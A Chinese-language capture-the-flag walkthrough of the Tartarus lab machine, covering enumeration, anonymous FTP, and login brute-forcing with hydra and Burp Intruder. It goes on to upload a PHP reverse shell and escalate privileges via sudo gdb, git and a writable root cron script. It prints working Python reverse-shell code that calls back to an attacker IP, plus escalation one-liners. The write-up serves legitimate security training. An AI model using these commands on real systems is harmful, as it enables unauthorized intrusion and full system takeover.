CTF靶机 Tartarus 笔记

tech2025-06-15  2

Tartarus

这是基于服务的简单枚举和基本特权升级技术的新手靶场。基于杰克


Nmap扫一波全端口,开放了21,22,80端口

nmap -sV 10.10.48.224 -p-

用nmap -A 综合扫描一下,探测到FTP允许匿名登录

Anonymous FTP login allowed

里面有一个test.txt文件

nmap -A 10.10.48.224

FTP里有个test.txt文件 ftp 10.10.48.224 #登录到ftp 输入用户名anonymous 密码直接回车登录 get下载到本地查看是个tfp测试文件 - -!    转战80端口

 

Web是个默认的apache2页面

先访问看下有没有robots.txt文件

有个/amdin-dir目录

访问一下有两个文件,打开类分别似于账号和密码,hydra走一波~

wget 加URL下载下来

hydra爆破了一波ftp和ssh居然没有一个成功的。。。不应该啊

dirbuster加dirb扫Web目录也没有发现能利用的目录

难道我漏了一些细节???

重新检查了一遍,发现FTP里有隐藏的文件,大意了

yougotgoodeyes.txt文件里记录了一个隐藏目录

访问/sUp3r-s3cr3t是个登录页面

用BurpSuite抓爆用Intruder爆破刚刚在Web获取的账号密码

这里爆破的模式选择Cluster bomb模式,设置好变量为username和password的值

 

设置好payload,加载刚刚获取的账号密码

start attack

有结果了

账号:enox    密码P@ssword1234

登录到后台,发现是个上传页面

上传一个phpinfo(),发现没有任何的过滤

但是。。。上传后的路径呢?没有显示!

还是得用dirbuster扫一波目录才行,上传到了/sUp3r-s3cr3t/images/uploads/目录下

访问一下,执行成功,下来上传shell 

 

我上传的Shell是kali自带的,在/usr/share/webshells/php/php-reverse-shell.php

修改一下ip和端口。ip改成攻击机的就行

上传成功后用nc起监听,然后访问我们修改上传的shell,成功反弹回来

 

Linux一般都自带Python,我们用python生成一个交互式的shell

python -c 'import pty; pty.spawn("/bin/bash")'

注意到里面有个属于root的cleanup.py权限 777 文件,等下提权到root会用到

但是生成交互式的shell之后输入的命令就会出现重叠,虽然不好看但也不影响执行

后面我会分享怎么去掉命令重叠的这种情况

获取user.txt的flag

 

获取完flag 就准备提权了。sudo -l

查看到用户thirtytwo 可以执行gdb

https://gtfobins.github.io/这里有sudo,SUID各种提权方法,访问不了的话可能要。。。你懂的

sudo gdb -nx -ex '!sh' -ex quit

这个gdb只有thirtytwo执行。所以我们先要移动到该用户

sudo -u thirtytwo /var/www/gdb -nx -ex '!sh' -ex quit

移动成功后还是生成一个交互式的shell

成功移动到thirtytwo用户,查看一下sudo -l 

是个d4rckh能执行的git SUDO提权,还是访问刚刚gtfobinsc网站查看对应的提权方法

sudo -u d4rckh /usr/bin/git -p help config    进入到编辑页面

然后输入!/bin/sh

成功移动到d4rckh

 查看一下这个cleanup.py文件是个删除文件的脚本

猜想可能是个定时执行的脚本,查看下/etc/crontab,果然。

那我有可以修改的权限,把里面的内容替换成我们的fantanshell代码就可以获得root权限

先说下怎么去输入命令怎么去重叠,这会影响我们后面用nano修改cleanup.py

生成交互式的Shell $ python -c 'import pty; pty.spawn("/bin/bash")' 生成完后按Ctrl+Z,回到kali输入 $ stty raw -echo $ fg 输入fg后敲两下回车 回到TTY后输入 $ export SHELL=bash $ export TERM=xterm-256color $ stty rows 38 columns 116 搞定!

把下面的脚本替换进cleanup.py 里面

# -*- coding: utf-8 -*- #!/usr/bin/env python import socket, os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.10.222.148", 4444)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.system("/bin/sh -i")

攻击机再用nc起个监听,稍后片刻就会弹回一个root的shell。 我是打完第二天才写的笔记,可能有些地方没有写进去。 后面的忘记截图了,抱歉! 到此结束   总结     以后进ftp的时候要用ls -la查看文件,不然会忽略掉一些关键的细节。
最新回复(0)